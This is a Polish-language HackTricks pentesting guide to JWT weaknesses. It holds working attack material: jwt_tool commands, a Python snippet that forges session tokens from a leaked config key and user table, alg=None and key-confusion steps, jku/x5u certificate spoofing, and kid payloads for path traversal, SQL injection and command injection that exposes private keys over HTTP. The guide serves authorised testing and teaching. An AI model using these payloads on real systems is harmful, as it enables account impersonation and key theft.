Luki w JWT (Json Web Tokens)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Część tego wpisu opiera się na świetnym poście: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor świetnego narzędzia do pentest JWTs https://github.com/ticarpi/jwt_tool

Szybkie zwycięstwa

Uruchom jwt_tool z trybem All Tests! i poczekaj na zielone linie

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Jeśli masz szczęście, narzędzie znajdzie przypadek, w którym aplikacja webowa niepoprawnie sprawdza JWT:

Następnie możesz wyszukać request w swoim proxy lub zrzucić używany JWT dla tego requestu za pomocą jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Możesz też użyć Burp Extension SignSaboteur do przeprowadzania JWT attacks z Burp.

Modyfikuj dane bez zmiany podpisu

Możesz po prostu zmanipulować dane, pozostawiając podpis bez zmian, i sprawdzić, czy serwer weryfikuje podpis. Spróbuj na przykład zmienić swoją nazwę użytkownika na “admin”.

Czy token jest sprawdzany?

  • Komunikat o błędzie sugeruje, że weryfikacja ma miejsce; warto przejrzeć wrażliwe informacje w szczegółowych komunikatach o błędach.
  • Zmiana zawartości zwróconej strony także wskazuje na weryfikację.
  • Brak zmian sugeruje brak weryfikacji; to moment, aby eksperymentować z modyfikacją pól payload/claims.

Origin

Ważne jest ustalenie, czy token został wygenerowany po stronie serwera czy klienta, analizując historię żądań w proxy.

  • Tokens first seen from the client side suggest the key might be exposed to client-side code, necessitating further investigation.
  • Tokens originating server-side indicate a secure process.

Duration

Sprawdź, czy token jest ważny dłużej niż 24h… może nigdy nie wygasa. Jeśli istnieje pole “exp”, sprawdź, czy serwer poprawnie je obsługuje.

Brute-force HMAC secret

See this page.

Derive JWT secrets from leaked config + DB data

If an arbitrary file read (or backup leak) exposes both application encryption material and user records, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks:

  1. Leak the app key (e.g., encryptionKey) from a config file.
  2. Leak the user table to obtain email, password_hash, and user_id.
  3. Derive the signing secret from the key, then derive the per-user hash expected in the JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. Umieść podpisany token w session cookie (np. n8n-auth), aby podszyć się pod konto użytkownika/admina nawet jeśli password hash jest salted.

Zmień algorytm na None

Ustaw algorytm na “None” i usuń część signature.

Użyj rozszerzenia Burp o nazwie “JSON Web Token”, aby przetestować tę podatność i zmieniać różne wartości wewnątrz JWT (wyślij żądanie do Repeater i w zakładce “JSON Web Token” możesz modyfikować wartości tokenu. Możesz też ustawić wartość pola “Alg” na “None”).

Zmień algorytm RS256 (asymetryczny) na HS256 (symetryczny) (CVE-2016-5431/CVE-2016-10555)

Algorytm HS256 używa secret key do podpisywania i weryfikacji każdej wiadomości.\
Algorytm RS256 używa private key do podpisania wiadomości i używa public key do uwierzytelniania.

Jeśli zmienisz algorytm z RS256 na HS256, kod back endu użyje public key jako secret key, a następnie użyje algorytmu HS256 do weryfikacji signature.

Wówczas, używając public key i zmieniając RS256 na HS256, możemy stworzyć ważny signature. Możesz pobrać certificate serwera WWW wykonując to:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Nowy klucz publiczny w nagłówku

Atakujący osadza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji podpisu (CVE-2018-0114).

This can be done with the “JSON Web Tokens” Burp extension.
(Send the request to the Repeater, inside the JSON Web Token tab select “CVE-2018-0114” and send the request).

JWKS Spoofing

Instrukcje opisują metodę oceny bezpieczeństwa tokenów JWT, szczególnie tych wykorzystujących roszczenie nagłówka “jku”. To roszczenie powinno wskazywać na plik JWKS (JSON Web Key Set), który zawiera klucz publiczny niezbędny do weryfikacji tokena.

  • Assessing Tokens with “jku” Header:

  • Zweryfikuj URL roszczenia “jku”, aby upewnić się, że prowadzi do właściwego pliku JWKS.

  • Zmień wartość “jku” w tokenie, aby wskazywała na kontrolowaną usługę sieciową, co pozwoli na obserwację ruchu.

  • Monitoring for HTTP Interaction:

  • Zaobserwowanie żądań HTTP do wskazanego URL oznacza, że serwer próbuje pobrać klucze z podanego linku.

  • Używając jwt_tool do tego procesu, istotne jest zaktualizowanie pliku jwtconf.ini o lokalizację twojego JWKS, aby ułatwić testowanie.

  • Command for jwt_tool:

  • Wykonaj następujące polecenie, aby zasymulować scenariusz przy użyciu jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Kid Issues Overview

Opcjonalne roszczenie nagłówka znane jako kid jest używane do identyfikacji konkretnego klucza, co staje się istotne w środowiskach, gdzie istnieje wiele kluczy do weryfikacji podpisu tokena. To roszczenie pomaga wybrać odpowiedni klucz do weryfikacji podpisu tokena.

Revealing Key through “kid”

Gdy roszczenie kid jest obecne w nagłówku, zaleca się przeszukać katalog sieciowy w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli określono "kid":"key/12345", należy wyszukać pliki /key/12345 oraz /key/12345.pem w katalogu głównym serwisu.

Path Traversal with “kid”

Roszczenie kid może być także wykorzystane do nawigacji po systemie plików, potencjalnie pozwalając na wskazanie dowolnego pliku. Można testować łączność lub przeprowadzać ataki Server-Side Request Forgery (SSRF) przez zmianę wartości kid, aby celować w konkretne pliki lub usługi. Modyfikacja JWT w celu zmiany wartości kid przy zachowaniu oryginalnego podpisu może być osiągnięta za pomocą flagi -T w jwt_tool, jak pokazano poniżej:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Celując w pliki o przewidywalnej zawartości, można sfałszować ważny JWT. Na przykład plik /proc/sys/kernel/randomize_va_space w systemach Linux, znany z zawierania wartości 2, może być użyty w parametrze kid z wartością 2 jako hasłem symetrycznym do wygenerowania JWT.

SQL Injection via “kid”

Jeżeli zawartość roszczenia kid jest używana do pobrania hasła z bazy danych, modyfikacja ładunku kid może umożliwić SQL injection. Przykładowy ładunek wykorzystujący SQL injection do zmiany procesu podpisywania JWT wygląda następująco:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Ta modyfikacja wymusza użycie znanego sekretnego klucza ATTACKER do podpisania JWT.

OS Injection through “kid”

Scenariusz, w którym parametr kid wskazuje ścieżkę do pliku używaną w kontekście wykonywania poleceń, może prowadzić do podatności Remote Code Execution (RCE). Poprzez wstrzyknięcie poleceń do parametru kid można ujawnić private keys. Przykładowy ładunek umożliwiający RCE i ujawnienie kluczy to:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL.
If the token uses a “jkuHeader claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

First you need to create a new certificate with new private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Następnie możesz na przykład użyć jwt.io, aby utworzyć nowy JWT z utworzonymi kluczami publicznym i prywatnym oraz wskazaniem parametru jku na utworzony certyfikat. Aby stworzyć prawidłowy certyfikat jku możesz pobrać oryginalny i zmienić potrzebne parametry.

Parametry “e” i “n” z certyfikatu publicznego możesz uzyskać używając:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certyfikatów) zakodowanych w formacie PEM. Pierwszy certyfikat w zestawie musi być tym użytym do podpisania tego JWT. Kolejne certyfikaty podpisują każdy poprzedni, tym samym dopełniając łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807 . Do przesyłania certyfikatów wymagane jest zabezpieczenie transportu.

Spróbuj zmienić ten nagłówek na URL pod twoją kontrolą i sprawdź, czy zostanie odebrane jakieś żądanie. W takim przypadku możesz zmanipulować JWT.

Aby sfałszować nowy token przy użyciu certyfikatu pod twoją kontrolą, musisz utworzyć certyfikat i wyodrębnić klucz publiczny oraz prywatny:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Następnie możesz na przykład użyć jwt.io do utworzenia nowego JWT z utworzonymi kluczami publicznymi i prywatnymi oraz wskazaniem parametru x5u na utworzony certyfikat .crt.

Możesz też wykorzystać obie te luki do SSRFs.

x5c

Ten parametr może zawierać certyfikat w base64:

Jeśli atakujący wygeneruje certyfikat samopodpisany i stworzy sfałszowany token używając odpowiadającego klucza prywatnego oraz zastąpi wartość parametru “x5c” nowo wygenerowanym certyfikatem i zmodyfikuje pozostałe parametry, mianowicie n, e i x5t, to w zasadzie sfałszowany token zostanie zaakceptowany przez serwer.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Embedded Public Key (CVE-2018-0114)

Jeśli JWT ma osadzony klucz publiczny, jak w następującym scenariuszu:

Używając poniższego skryptu nodejs można wygenerować klucz publiczny z tych danych:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Możliwe jest wygenerowanie nowego private/public key, osadzenie nowego public key w tokenie i użycie go do wygenerowania nowej signature:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Możesz uzyskać “n” i “e” za pomocą tego skryptu nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Wreszcie, używając publicznego i prywatnego klucza oraz nowych wartości “n” i “e”, możesz użyć jwt.io do sfałszowania nowego ważnego JWT z dowolnymi danymi.

ES256: Odkrycie klucza prywatnego przy użyciu tego samego nonce

Jeśli niektóre aplikacje używają ES256 i wykorzystają ten sam nonce do wygenerowania dwóch jwt, klucz prywatny może zostać odtworzony.

Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).

Zarejestrowane roszczenia JWT

JSON Web Token (JWT)

Inne ataki

Cross-service Relay Attacks

Zaobserwowano, że niektóre aplikacje webowe polegają na zaufanej usłudze JWT do generowania i zarządzania tokenami. Zdarzały się przypadki, w których token wygenerowany dla jednego klienta przez usługę JWT był akceptowany przez innego klienta tej samej usługi JWT. Jeśli zaobserwujesz wydawanie lub odnowienie JWT przez usługę third-party, warto sprawdzić możliwość zarejestrowania konta w innej aplikacji-kliencie tej usługi przy użyciu tej samej nazwy użytkownika/email. Następnie spróbuj odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy zostanie zaakceptowany.

  • Akceptacja Twojego tokenu może wskazywać na krytyczny problem, potencjalnie umożliwiający podszywanie się pod dowolne konto użytkownika. Należy jednak pamiętać, że do szerszych testów może być wymagana zgoda, ponieważ rejestracja w aplikacji third-party może wchodzić w prawnie niejasne obszary.

Sprawdzanie wygaśnięcia tokenów

Wygaśnięcie tokenu jest sprawdzane za pomocą roszczenia “exp” w Payload. Ponieważ JWT są często używane bez informacji o sesji, wymagają one ostrożnego traktowania. W wielu przypadkach przechwycenie i odtworzenie JWT innego użytkownika może umożliwić podszycie się pod tego użytkownika. JWT RFC zaleca łagodzenie ataków replay poprzez użycie roszczenia “exp” do ustawienia czasu wygaśnięcia tokenu. Ponadto kluczowe jest, aby aplikacja wdrożyła odpowiednie sprawdzenia przetwarzania tej wartości i odrzucała wygasłe tokeny. Jeśli token zawiera roszczenie “exp” i limity testowe na to pozwalają, zaleca się przechować token i odtworzyć go po upływie czasu wygaśnięcia. Zawartość tokenu, w tym parsowanie znaczników czasu i sprawdzanie wygaśnięcia (znacznik czasu w UTC), można odczytać za pomocą jwt_tool’s -R flag.

  • Może istnieć ryzyko bezpieczeństwa, jeśli aplikacja nadal waliduje token, ponieważ może to sugerować, że token nigdy nie wygasa.

Narzędzia

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks